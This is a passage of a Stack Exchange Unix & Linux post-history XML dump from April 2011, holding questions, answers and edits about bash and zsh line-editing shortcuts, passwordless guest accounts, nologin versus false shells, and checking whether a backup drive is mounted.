  <row Id="26257" PostHistoryTypeId="2" PostId="10863" RevisionGUID="2faf1076-f70d-49df-8a49-83bb126aa37e" CreationDate="2011-04-07T20:58:36.580" UserId="73" Text="A somewhat faster version of [alex's](http://unix.stackexchange.com/questions/10825/remember-a-half-typed-command-while-i-check-something/10835#10835) &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; (which moves to the front of the line and then cuts everything forward) is to just use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;, which cuts the entire line regardless of your current position. Then you use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; to paste it again" />
  <row Id="26258" PostHistoryTypeId="2" PostId="10864" RevisionGUID="9410cdb5-b92f-4808-b035-4d9aa7530719" CreationDate="2011-04-07T21:06:39.297" UserId="3169" Text="In bash, just type &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then when you're ready, press &lt;kbd&gt;Up&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;" />
  <row Id="26259" PostHistoryTypeId="25" PostId="10852" RevisionGUID="04a295a0-1c29-47db-a09b-ae2981df8c6f" CreationDate="2011-04-07T21:09:02.730" Comment="http://twitter.com/#!/StackUnix/status/56101198926852096" />
  <row Id="26260" PostHistoryTypeId="5" PostId="10864" RevisionGUID="86653353-7c94-4294-890a-decd70375be5" CreationDate="2011-04-07T21:12:33.617" UserId="3169" Comment="added 225 characters in body; added 289 characters in body" Text="In bash, just type &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then when you're ready, press &lt;kbd&gt;Up&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;The first puts a `#` at the start of the line to turn it into a comment, then accepts the line, as if you had pressed &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then, when you do it a second time, it sees the line already has a `#` at the start, so it removes it, and accepts it, again saving you the &lt;kbd&gt;Enter&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;You can make zsh do the same by putting&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '\e#' pound-insert&#xD;&#xA;&#xD;&#xA;in your ~/.zshrc.&#xD;&#xA;&#xD;&#xA;Or, if you are using vi bindings, you can type &lt;kbd&gt;#&lt;/kbd&gt; from command mode in both bash and zsh.&#xD;&#xA;" />
  <row Id="26261" PostHistoryTypeId="2" PostId="10865" RevisionGUID="0177c690-ddb3-4fbf-813d-e5b867f1fdcc" CreationDate="2011-04-07T21:12:33.617" UserId="885" Text="*Sorry, I don't actually have a way to do what you're asking, but I think this answer will be helpful nonetheless.*&#xD;&#xA;&#xD;&#xA;What do you mean by “does not have shell access”: do you mean that the user must only be able to use a few applications (e.g. a web browser and a mail client)? If so, you need to make sure that the applications won't inadvertently allow the user to run arbitrary commands. That's hard to ensure in practice.&#xD;&#xA;&#xD;&#xA;This is generally known as a [**kiosk**](http://en.wikipedia.org/wiki/Kiosk_%28disambiguation%29#Technology) setup. There are many Linux kiosk projects, but most aim at making a kiosk machine, not a kiosk account that must coexist with other accounts.&#xD;&#xA;&#xD;&#xA;A kiosk account is harder to secure. I think you'd have to use something like SELinux or a virtualization technology to prevent the guest from snooping on publicly-readable files (or else manually tighten all permissions, but there are things that are cumbersome to protect, such as the user list (`/etc/passwd`)). I don't know of any project that offers this out of the box.&#xD;&#xA;&#xD;&#xA;It should be relatively easy to set up a guest virtual machine with VirtualBox. [VirtualBox has a kiosk mode](http://www.virtualbox.org/manual/ch09.html#guitweaks) where you can disable all VM controls in the GUI. Then you can run that VM as the sole application on an X server. Make sure to lock all other consoles when you're not using them, and voilà, you have a kiosk vt. Of course, the VM shouldn't be sharing any folder and its networking should be limited to outgoing NATted connections.&#xD;&#xA;&#xD;&#xA;Inside the VM, you can run a kiosk setup, but that's not even necessary. Just take a snapshot of the VM and discard that snapshot after a guest has been using it. If you need to perform upgrades, start from the snapshot, upgrade, then make a new snapshot.&#xD;&#xA;&#xD;&#xA;Coming back to having a guest user (and not addressing guest restrictions here), on the authentication side, there's nothing special to set up in each login manager. The whole point of PAM is to be independent of the session type. Make a user who can't log in normally, and allow that user to log in through a [`pam_userdb`](http://www.kernel.org/pub/linux/libs/pam/Linux-PAM-html/sag-pam_userdb.html) line for the login method(s) you want to authorize (something like `auth sufficient pam_userdb.so db=/etc/passwd_guest` in `/etc/pam.d/?dm`, with `/etc/passwd_guest` containing `guest::9999:9999:/home/guest:/bin/sh` and `/etc/passwd` containing `guest:x:9999:9999:/home/guest:/bin/false`).&#xD;&#xA;" />
  <row Id="26262" PostHistoryTypeId="6" PostId="10834" RevisionGUID="69cb33c7-7fec-4783-aa82-32f87dfc58a4" CreationDate="2011-04-07T21:14:04.223" UserId="885" Comment="edited tags" Text="écommandölineàélogsàétailàéwatchà" />
  <row Id="26263" PostHistoryTypeId="5" PostId="10863" RevisionGUID="a3c02256-a0ac-412c-b2f3-e1e2dd955cae" CreationDate="2011-04-07T21:20:02.890" UserId="73" Comment="added 31 characters in body" Text="A somewhat faster version of [alex's](http://unix.stackexchange.com/questions/10825/remember-a-half-typed-command-while-i-check-something/10835#10835) &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;K&lt;/kbd&gt; (which moves to the front of the line and then cuts everything forward) is to just use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;, which cuts backward on bash, and the entire line (regardless of your current position) on zsh. Then you use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; to paste it again" />
  <row Id="26264" PostHistoryTypeId="5" PostId="10742" RevisionGUID="e47a36f2-6085-4450-89fe-a5d49c356fd7" CreationDate="2011-04-07T21:21:11.950" UserId="5666" Comment="Clarified" Text="`blockdev` provides a way to set/get block device attributes. To get the size in bytes:&#xD;&#xA;&#xD;&#xA;    blockdev --getsize64 /dev/sda&#xD;&#xA;&#xD;&#xA;Alternatively, some info is available under `/sys/block/&lt;device&gt;` directory, e.g. `cat /sys/block/sda/size` gives the sda size measured in blocks of 512 bytes. See `/sys/block/sda/sda1/size` for sda1 partition size.&#xD;&#xA;&#xD;&#xA;For sda size in KiB&#xD;&#xA;&#xD;&#xA;    echo $[  $(cat /sys/block/sda/size) / 2 ]&#xD;&#xA;&#xD;&#xA;For sda size in Bytes&#xD;&#xA;&#xD;&#xA;    echo $[  $(cat /sys/block/sda/size) * 512 ]" />
  <row Id="26265" PostHistoryTypeId="5" PostId="10864" RevisionGUID="c265fcde-e247-4359-81e6-d56962c059dd" CreationDate="2011-04-07T21:23:46.513" UserId="3169" Comment="added 5 characters in body" Text="In bash, just type &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then when you're ready, press &lt;kbd&gt;Up&lt;/kbd&gt; then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;The first puts a `#` at the start of the line to turn it into a comment, then accepts the line, as if you had pressed &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then, when you do it a second time, it sees the line already has a `#` at the start, so it removes it, and accepts it, again saving you the &lt;kbd&gt;Enter&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;You can make zsh do the same by putting&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '\e#' pound-insert&#xD;&#xA;&#xD;&#xA;in your ~/.zshrc.&#xD;&#xA;&#xD;&#xA;Or, if you are using vi bindings, you can type &lt;kbd&gt;#&lt;/kbd&gt; from command mode in both bash and zsh.&#xD;&#xA;" />
  <row Id="26266" PostHistoryTypeId="2" PostId="10866" RevisionGUID="45dd1a85-c816-4ebf-8a14-aff5a4f57ba7" CreationDate="2011-04-07T21:27:02.877" UserId="3169" Text="Some FTP servers will allow you FTP access only if you have a valid shell.  `/sbin/nologin` is regarded as a valid shell, whereas `/bin/false` is not.&#xD;&#xA;&#xD;&#xA;(I think &quot;valid&quot; means its exit status is 0, but `/etc/shells` may also come into it, it probably depends on the system, the FTP software, and your configuration.)" />
  <row Id="26267" PostHistoryTypeId="6" PostId="10819" RevisionGUID="39aa286f-1c98-4472-ac09-406bad0ae519" CreationDate="2011-04-07T21:30:05.090" UserId="885" Comment="edited tags" Text="éubuntuàégnomeàérunödialogà" />
  <row Id="26268" PostHistoryTypeId="6" PostId="10723" RevisionGUID="4c81aa7f-196f-4bc6-b047-6befd2202f40" CreationDate="2011-04-07T21:31:00.113" UserId="885" Comment="edited tags" Text="écommandölineàéutilitiesàépipeàédevicesà" />
  <row Id="26269" PostHistoryTypeId="6" PostId="10823" RevisionGUID="702e6f6f-a925-49ff-910c-56c602ae968f" CreationDate="2011-04-07T21:31:58.443" UserId="885" Comment="edited tags" Text="écommandölineàécolorsàépipeàéescapeöcharactersà" />
  <row Id="26270" PostHistoryTypeId="5" PostId="10864" RevisionGUID="bb670818-3a82-4b23-be25-011dfee41732" CreationDate="2011-04-07T21:35:16.383" UserId="3169" Comment="added 135 characters in body" Text="In bash, just type &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then when you're ready, press &lt;kbd&gt;Up&lt;/kbd&gt; then &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;The first puts a `#` at the start of the line to turn it into a comment, then accepts the line, as if you had pressed &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Then, when you do it a second time, it sees the line already has a `#` at the start, so it removes it, and accepts it, again saving you the &lt;kbd&gt;Enter&lt;/kbd&gt; key.&#xD;&#xA;&#xD;&#xA;If the second time just inserts another `#`, then you have to type &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;#&lt;/kbd&gt; instead.&#xD;&#xA;&#xD;&#xA;You can make zsh do the same by putting&#xD;&#xA;&#xD;&#xA;    bindkey -M emacs '\e#' pound-insert&#xD;&#xA;&#xD;&#xA;in your ~/.zshrc.&#xD;&#xA;&#xD;&#xA;Or, if you are using vi bindings, you can type &lt;kbd&gt;#&lt;/kbd&gt; from command mode in both bash and zsh.&#xD;&#xA;" />
  <row Id="26271" PostHistoryTypeId="2" PostId="10867" RevisionGUID="a0c7db62-7834-4b5d-ab57-4287cd08b7f4" CreationDate="2011-04-07T21:47:28.827" UserId="3852" Text="When `/sbin/nologin` is set as the shell, if user with that shell logs in, they'll get a polite message saying 'This account is currently not available.'. This message can be changed with the file `/etc/nologin.txt`.&#xD;&#xA;&#xD;&#xA;`/bin/false` is just a binary that immediately exits, returning false, when its called, so when someone who has `false` as shell logs in, they're immediately logged out when `false` exits. Setting the shell to `/bin/true` has the same affect of not allowing someone to log in but `false` is probably used as a convention over `true` since its much better at conveying the concept that person doesn't have a shell.&#xD;&#xA;&#xD;&#xA;Looking at `nologin`'s man page, it says it was created in 4.4 BSD (early 1990s) so it came long after `false` was created. The use of `false` as a shell is probably just a convention carried over from the early days of UNIX.&#xD;&#xA;&#xD;&#xA;`nologin` is the more user friendly option, with a customizable message given to the user trying to login, so you would theoretically want to use that but both `nologin` and `false` will have the same end result of someone not having a shell and not being able to ssh in.&#xD;&#xA;" />
  <row Id="26272" PostHistoryTypeId="5" PostId="10855" RevisionGUID="80e802b3-1ffd-4956-afbe-202fbce01479" CreationDate="2011-04-07T21:49:37.547" UserId="29" Comment="remove restrictions which aren't really relevant to the actual portion of the problem I need solved." Text="Is it possible to create a &quot;guest&quot; account in Linux? by &quot;guest&quot; account I mean an account that does not require a password to log in graphically.&#xD;&#xA;&#xD;&#xA;I want this account for when people come over and are like &quot;can I use your computer to check my email&quot;. Then I don't have to worry about them snooping my stuff.&#xD;&#xA;&#xD;&#xA;I realize that some of this may require doing stuff specific to the login manager, since I wouldn't be surprised that this is a common problem, it'd be best to include instructions for `xdm`, `kdm`, and `gdm` and any other login managers that I haven't listed." />
  <row Id="26273" PostHistoryTypeId="2" PostId="10868" RevisionGUID="3ab99d7c-d923-4437-965d-6e9365b545f2" CreationDate="2011-04-07T21:58:24.687" UserId="885" Text="Stacking just means that some module calls functions defined in another module. There is an example right on the page you cite. According to the figure, `lp` is a driver for printers on parallel ports. It makes calls into the generic parallel port driver `parport`. There are several different kinds of parallel ports, and each has its own low-level driver; the most common one is `parport_pc`. On current kernels, it's actually `parport_pc` that calls functions defined in `parport`, and not the opposite as the figure suggests. Of course, all of them make calls to basic kernel features (which aren't in modules).&#xD;&#xA;&#xD;&#xA;There are a lot of similar cases. For example most storage (disk) drivers communicate with (a variant of) the SCSI protocol, so they make calls into the generic `scsi_mod` module. The `usb_storage` module makes calls into both `sci_mod` (for the storage aspects) and `usbcore` (for the USB aspects).&#xD;&#xA;&#xD;&#xA;You can see the dependencies for all the modules you have installed (i.e. what modules call functions from what other modules) in `/lib/modules/*/modules.dep` (there'll be a lot of them). You can see the dependencies for modules that are currently loaded with `lsmod`; for example the following output line shows that `parport_pc`, `ppdev` and `lp` all depend on `parport`:&#xD;&#xA;&#xD;&#xA;    parport                27954  3 parport_pc,ppdev,lp&#xD;&#xA;&#xD;&#xA;Here's a small script that generates a dependency graph for the modules you have loaded. You need to have [graphviz](http://www.graphviz.org/) (available in most distributions).&#xD;&#xA;&#xD;&#xA;    lsmod | awk '&#xD;&#xA;        BEGIN {print &quot;digraph modules {&quot;}&#xD;&#xA;        END {print &quot;}&quot;}&#xD;&#xA;        NR != 1 {split($4, a, &quot;,&quot;); for (i in a) print a[i], &quot;-&gt;&quot;, $1;}&#xD;&#xA;    ' | dot -Tpdf &gt;lsmod.pdf&#xD;&#xA;" />
  <row Id="26274" PostHistoryTypeId="6" PostId="10812" RevisionGUID="92a71c48-b23d-4ebe-90b2-afe2134481d0" CreationDate="2011-04-07T22:00:54.997" UserId="885" Comment="edited tags" Text="élinuxàékernelömodulesà" />
  <row Id="26275" PostHistoryTypeId="2" PostId="10869" RevisionGUID="245dcbab-78b7-4713-857e-905325dea4cb" CreationDate="2011-04-07T22:08:25.950" UserId="6388" Text="In addition to the ctrl-a ctrl-k trick, if you're in screen, just ctrl-a d to detach hen reattach with screen -r" />
  <row Id="26276" PostHistoryTypeId="2" PostId="10870" RevisionGUID="1d784947-6da0-4188-9fa2-95b442f34f27" CreationDate="2011-04-07T22:13:13.480" UserId="6208" Text="As part of revamping my backup scheme, I'm now adding rotating external hard drives, keeping one safely off-site at all times while the other is receiving backup data. Naturally, to ensure that my backups actually get done, the backups will be scripted and cron'd.&#xD;&#xA;&#xD;&#xA;My plan is to manually plug in and mount the hard drive, and then leave it there until it's time to unmount it (again manually), take it away, bring in the next one, and (manually) mount that one. Both drives would be mounted to e.g. /mnt/backup.&#xD;&#xA;&#xD;&#xA;Now, here comes the question: I don't want the backup script to run if I forget to plug in or mount the hard drive. So I need to be able to detect if there is a device mounted to /mnt/backup before the script is allowed to run. My first thought is to put a file named e.g. 'NO_DRIVE_MOUNTED' in the (unmounted) /mnt/backup directory, and then make sure that that does _not_ exist before running the backup routine, but that just feels hackish. (Likewise, the inverse of putting a file named e.g. 'BACKUP_DEVICE_READY' in each external hard drive and checking that that file _does_ exist feels just as hackish.)&#xD;&#xA;&#xD;&#xA;Is there a better way to detect whether or not a device is mounted to a given directory? I'd rather avoid checking for the device itself, as my experience is that plugging in a drive in Linux just assigns it to the next available /dev/sdX, so while the backup drive might be /dev/sdf one day, if I have a different drive plugged in when connecting the backup drive the next time it would be /dev/sdg, which means testing for /dev/sdf would fail! I'd also prefer to avoid device-specific identification (e.g. by UUID) so that I can more easily and more transparently replace/upgrade the drives.&#xD;&#xA;&#xD;&#xA;This will be on Ubuntu 10.10 (or possibly 11.04 if I drag my feet long enough, as I'm in the process of rebuilding the whole server anyway), and ideally I'd like a simple one-line test that I can prefix to my backup command directly in my crontab (but I'm not afraid of Bash scripts, either, if that's what's necessary)." />
  <row Id="26277" PostHistoryTypeId="1" PostId="10870" RevisionGUID="1d784947-6da0-4188-9fa2-95b442f34f27" CreationDate="2011-04-07T22:13:13.480" UserId="6208" Text="Detecting that a device is mounted to a particular folder?" />
  <row Id="26278" PostHistoryTypeId="3" PostId="10870" RevisionGUID="1d784947-6da0-4188-9fa2-95b442f34f27" CreationDate="2011-04-07T22:13:13.480" UserId="6208" Text="éubuntuàébackupà" />
  <row Id="26279" PostHistoryTypeId="2" PostId="10871" RevisionGUID="39cab339-34bf-4ddc-bae3-c3c9dd45b50d" CreationDate="2011-04-07T22:17:20.650" UserId="5666" Text="You may run your backup script like that in your cron&#xD;&#xA;&#xD;&#xA;    fgrep -q /mnt/backup /proc/mounts &amp;&amp; backup.sh&#xD;&#xA;&#xD;&#xA;But better add the test in your script, to log the failed attempts&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26280" PostHistoryTypeId="5" PostId="10804" RevisionGUID="f8570cea-d0d0-447c-b4d5-5f09a59b47b5" CreationDate="2011-04-07T22:27:30.633" UserId="885" Comment="show od and head -c; warn explicitly about null bytes" Text="If you want to stick with shell utilities, you can use `head` to extract a number of bytes, and `od` to convert a byte into a number.&#xD;&#xA;&#xD;&#xA;    export LC_ALL=C    # make sure we aren't in a multibyte locale&#xD;&#xA;    n=$(head -c 1 | od -An -t u1)&#xD;&#xA;    string=$(head -c $n)&#xD;&#xA;&#xD;&#xA;However, this **does not work** for binary data. There are two problems:&#xD;&#xA;&#xD;&#xA;* Command substitution `$(…)` strips **final newlines** in the command output. There's a fairly easy workaround: make sure the output ends in a character other than a newline, then strip that one character.&#xD;&#xA;&#xD;&#xA;        string=$(head -c $n; echo .); string=${string%.}&#xD;&#xA;&#xD;&#xA;* Bash, like most shells, is bad at dealing with **null bytes**. As of bash 4.1, null bytes are simply dropped from the result of the command substitution. Dash 0.5.5 and pdksh 5.2 have the same behavior, and ATT ksh stops reading at the first null byte. In general, shells and their utilities aren't geared towards dealing with binary files. (Zsh is the exception, it's designed to support null bytes.)&#xD;&#xA;&#xD;&#xA;If you have binary data, you'll want to switch to a language like Perl or Python.&#xD;&#xA;&#xD;&#xA;    &lt;input_file perl -e '&#xD;&#xA;      read STDIN, $c, 1 or die $!;    # read length byte&#xD;&#xA;      $n = read STDIN, $s, ord($c);   # read data&#xD;&#xA;      die $! if !defined $n;&#xD;&#xA;      die &quot;Input file too short&quot; if ($n != ord($c));&#xD;&#xA;      # Process $s here&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    &lt;input_file python -c '&#xD;&#xA;      import sys&#xD;&#xA;      n = ord(sys.stdin.read(1))      # read length byte&#xD;&#xA;      s = sys.stdin.read(n)           # read data&#xD;&#xA;      if len(s) &lt; n: raise ValueError(&quot;input file too short&quot;)&#xD;&#xA;      # Process s here&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="26281" PostHistoryTypeId="5" PostId="10811" RevisionGUID="f2c615f6-a5ee-4735-9909-b0ee5a3cd811" CreationDate="2011-04-07T22:42:27.397" UserId="2343" Comment="revamp; added 41 characters in body" Text="**UPDATE:** I've scrapped the previous script.  Here is a new version, using &#xD;&#xA;`du` and `awk`  (the previous one used `tree` and `sed`)  &#xD;&#xA;&#xD;&#xA;This is the output of: `dusort ~/test  1`&#xD;&#xA;&#xD;&#xA;    ================&#xD;&#xA;    dir     4.10 KiB  /home/user/test/bdir&#xD;&#xA;    dir     4.98 KiB  /home/user/test/Kdir&#xD;&#xA;    dir   104.91 MiB  /home/user/test/Mdir&#xD;&#xA;    dir   587.47 MiB  /home/user/test/Gdir&#xD;&#xA;    dir   692.39 MiB  /home/user/test&#xD;&#xA;    ================&#xD;&#xA;     f      0    Byt  /home/user/test/new file&#xD;&#xA;     f     42    Byt  /home/user/test/.hi   dd     en&#xD;&#xA;    ================&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is the script  &#xD;&#xA;&#xD;&#xA;    units() { awk -v pfix=&quot;$1&quot; \&#xD;&#xA;      'BEGIN { yect=6  # Array element-count&#xD;&#xA;        split(&quot;Byt KiB MiB GiB TiB PiB&quot;,lbl)&#xD;&#xA;        for (i=1;i&lt;=yect;i++) { val[i] = (2**(10*(i-1)))-1 } &#xD;&#xA;      }&#xD;&#xA;      { yess=yect  # Array element-subscript&#xD;&#xA;        while ( $1 &lt; val[yess] ){ yess-- }&#xD;&#xA;        num = $1 / (val[yess]+1)&#xD;&#xA;        sub(/^[0-9]*\t*/,&quot;&quot;)&#xD;&#xA;        if (yess!=1) { printf &quot;%s %8.2f %s  %s\n&quot;, pfix, num, lbl[yess], $0 }&#xD;&#xA;        else        { printf &quot;%s %5d    %s  %s\n&quot;, pfix, num, lbl[yess], $0 }&#xD;&#xA;       }'&#xD;&#xA;    }&#xD;&#xA;    tdir=&quot;/tmp/$USER/$(basename $0)&quot;&#xD;&#xA;    [[ ! -d &quot;$tdir&quot; ]] &amp;&amp; mkdir -p &quot;$tdir&quot;&#xD;&#xA;    file=&quot;$tdir/$(date +%N)&quot;&#xD;&#xA;    echo &quot;================&quot;&#xD;&#xA;    dirs=&quot;$file.dirs&quot;;   du --max-depth=$2 -b $1  &gt;&quot;$dirs&quot; ; &lt;&quot;$dirs&quot;  sort -n           | units &quot;dir&quot;&#xD;&#xA;    echo &quot;================&quot;&#xD;&#xA;    filz=&quot;$file.filz&quot;; { du --max-depth=$2 -ab $1 ; cat &quot;$dirs&quot; ; } | sort -n | uniq -u  | units &quot; f &quot;&#xD;&#xA;    echo &quot;================&quot;&#xD;&#xA;    rm   &quot;$file.&quot;* &#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26282" PostHistoryTypeId="5" PostId="10768" RevisionGUID="c7798d54-a2dc-4c7d-84ef-0b95e89635b9" CreationDate="2011-04-07T22:55:31.083" UserId="73" Comment="deleted 37 characters in body; edited title" Text="Which command will print the sizes of all files and directories in the tmp directory (including hidden ones) and sort them by sizes from&#xD;&#xA;largest to smallest in human readable format (e.g. 2 GB)?&#xD;&#xA;&#xD;&#xA;The output could be as follows:&#xD;&#xA;&#xD;&#xA;    file.mpg 2GB&#xD;&#xA;    file.avi 1.8GB&#xD;&#xA;    .backtup 1.7 GB (this is directory)&#xD;&#xA;&#xD;&#xA;I tried to use the `ls` and `du` commands but was not able to find the right switches." />
  <row Id="26283" PostHistoryTypeId="4" PostId="10768" RevisionGUID="c7798d54-a2dc-4c7d-84ef-0b95e89635b9" CreationDate="2011-04-07T22:55:31.083" UserId="73" Comment="deleted 37 characters in body; edited title" Text="Find biggest files or directories" />
  <row Id="26284" PostHistoryTypeId="2" PostId="10872" RevisionGUID="8e25cf54-b156-40ea-8ee3-1506740ce220" CreationDate="2011-04-07T23:03:43.953" UserId="6167" Text="Yes, you can create a password-less account.&#xD;&#xA;&#xD;&#xA;    sudo useradd -m guest&#xD;&#xA;    sudo passwd -d guest&#xD;&#xA;&#xD;&#xA;Important, though, it to make sure no network daemons like `sshd` will allow access to password-less accounts.  That's usually default, but it's good to check.  Make sure `PermitEmptyPasswords` is no/false in `/etc/ssh/sshd_config` or just try and ssh into guest and see if it allows you.  There may be other daemons like Samba you should check for as well.  If you want to restrict the user from accessing your local files, you can either go to great lengths like setting up a chroot with `pam_chroot.so` and the like, or instead, just restrict your data to you.  Make use your home directory does not allow the &quot;other&quot; class to read your files and lock down any other locations you think you need to." />
  <row Id="26285" PostHistoryTypeId="2" PostId="10873" RevisionGUID="8f74635f-bd0d-475f-b877-5605c36c488f" CreationDate="2011-04-07T23:09:15.870" UserId="885" Text="Here are two ways to check whether `/mnt/backup` is a mount point. The `/proc/mounts` method is specific to Linux, the `df` method is portable to all unix systems; other than that there's no major reason to prefer one or the other. Both may fail in corner cases when a mount point contains whitespace (just… don't do that!).&#xD;&#xA;&#xD;&#xA;    case $(df -P /var) in *&quot; /var&quot;) echo mounted;; esac&#xD;&#xA;    if fgrep -q &quot; /tmp &quot; &lt;/proc/mounts; then echo mounted; fi&#xD;&#xA;&#xD;&#xA;Note that you can assign a particular device name to a particular removable drive, based on criteria such a device serial number, a filesystem UUID or a filesystem label (the latter could be a reliable indicator). All it takes is one line in the udev configuration. But while that would be a good idea to facilitate mounting on the appropriate mount point, relying on the device's presence is no good: the device could be present but not mounted, so if your script depends on a mounted device, it should check the mount point.&#xD;&#xA;" />
  <row Id="26286" PostHistoryTypeId="6" PostId="10870" RevisionGUID="7efc3160-b926-4f92-9e7d-46fd2f2b89e8" CreationDate="2011-04-07T23:09:56.417" UserId="885" Comment="edited tags" Text="élinuxàémountàébackupàéblocködeviceà" />
  <row Id="26287" PostHistoryTypeId="5" PostId="10592" RevisionGUID="4943ba6a-ac1d-4ce8-b053-93f776e79309" CreationDate="2011-04-07T23:10:43.733" UserId="4856" Comment="added 113 characters in body" Text="I am trying to buy tickets on stubhub.com but the site is telling that I need to install the flash plugin. I already have a 64-bit flash plugin (Adobe) installed on my Fedora 14 64-bit system. youtube and all other flash content I have tried has worked fine. Just stubhub.com is a problem. I have tried both Firefox 4 and Chrome 9 with no success, however the page loaded fine on Chrome in Windows 7. So I am not sure if it is my plugin or browser, or both that is to blame. I was thinking about trying a 32bit plugin but I am not sure if that would work.&#xD;&#xA;&#xD;&#xA;There was a thread at linuxquestions.org, but no solutions:&#xD;&#xA;http://www.linuxquestions.org/questions/slackware-14/flash-player-problem-sometimes-857110/&#xD;&#xA;&#xD;&#xA;Is there anyway that I can diagnose and bypass the plugin check on stubhub.com?&#xD;&#xA;&#xD;&#xA;I am sorry if this isn't a very clear question, but I never thought Linux would come between me and a pair of Yankees tickets.&#xD;&#xA;&#xD;&#xA;**UPDATE** Using both a wrapped 32-bit flash plugin and leigh123linux's 64-bit Fedora RPM plugin worked fine." />
  <row Id="26288" PostHistoryTypeId="6" PostId="3109" RevisionGUID="f1849323-cb12-4b4a-ba0d-d129333ff178" CreationDate="2011-04-07T23:10:58.863" UserId="885" Comment="edited tags" Text="éprocessàéopenöfilesàéunmountingà" />
  <row Id="26289" PostHistoryTypeId="6" PostId="9832" RevisionGUID="6ad54dc2-b676-4f08-af89-5a31a0806f89" CreationDate="2011-04-07T23:11:25.633" UserId="885" Comment="edited tags" Text="éhistoryàéunmountingà" />
  <row Id="26290" PostHistoryTypeId="2" PostId="10874" RevisionGUID="b33e5539-2ae9-42c1-ae2f-dfd925584999" CreationDate="2011-04-07T23:11:50.717" UserId="6167" Text="`/bin/false` is a system command that is used anytime you need to pass a command to a program that should do nothing more than exit with an error.  It's the companion to `/bin/true`.  Both of these are very old and standard POSIX utilities and neither produce any output by definition.  true is sometimes used for a shell script that should loop indefinitely, like:&#xD;&#xA;&#xD;&#xA;    while true; do&#xD;&#xA;        ...&#xD;&#xA;        # Waste time&#xD;&#xA;        if [ $wasted_time -gt 100000 ]; then&#xD;&#xA;            exit 0&#xD;&#xA;        fi&#xD;&#xA;        ...&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;`/usr/sbin/nologin` is specifically designed to replace a shell and produces output complaining you can't log-in.  Before it existed, it was common to use `/bin/false` for dummy users, but could be confusing since the user doesn't know why they're kicked off." />
  <row Id="26292" PostHistoryTypeId="25" PostId="10870" RevisionGUID="27fe7ec1-6518-44c7-8085-35548e85aa0b" CreationDate="2011-04-08T00:09:02.803" Comment="http://twitter.com/#!/StackUnix/status/56146498169208832" />
  <row Id="26293" PostHistoryTypeId="5" PostId="10809" RevisionGUID="0a576d3d-6e89-4e55-b31a-976af89fa582" CreationDate="2011-04-08T00:18:10.987" UserId="3169" Comment="added 395 characters in body; added 28 characters in body" Text="The correct answer depends on which terminal you are using.&#xD;&#xA;&#xD;&#xA;For Gnome Terminal or recent versions of xterm, put this in ~/.inputrc:&#xD;&#xA;&#xD;&#xA;    &quot;\e[1;5C&quot;: forward-word&#xD;&#xA;    &quot;\e[1;5D&quot;: backward-word&#xD;&#xA;&#xD;&#xA;For PuTTY, put this in your ~/.inputrc:&#xD;&#xA;&#xD;&#xA;    &quot;\eOC&quot;: forward-word&#xD;&#xA;    &quot;\eOD&quot;: backward-word&#xD;&#xA;&#xD;&#xA;For rxvt, put this in your ~/.inputrc:&#xD;&#xA;&#xD;&#xA;    &quot;\eOc&quot;: forward-word&#xD;&#xA;    &quot;\eOd&quot;: backward-word&#xD;&#xA;&#xD;&#xA;You can probably get away with putting all of those together in ~/.inputrc.&#xD;&#xA;&#xD;&#xA;In all cases, you also need to put this in your ~/.bashrc (or ~/.zshrc):&#xD;&#xA;&#xD;&#xA;    export INPUTRC=~/.inputrc&#xD;&#xA;&#xD;&#xA;If that doesn't work, or you have a different terminal, go to your terminal and type &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&gt;&lt;/kbd&gt;.  Then use that instead of 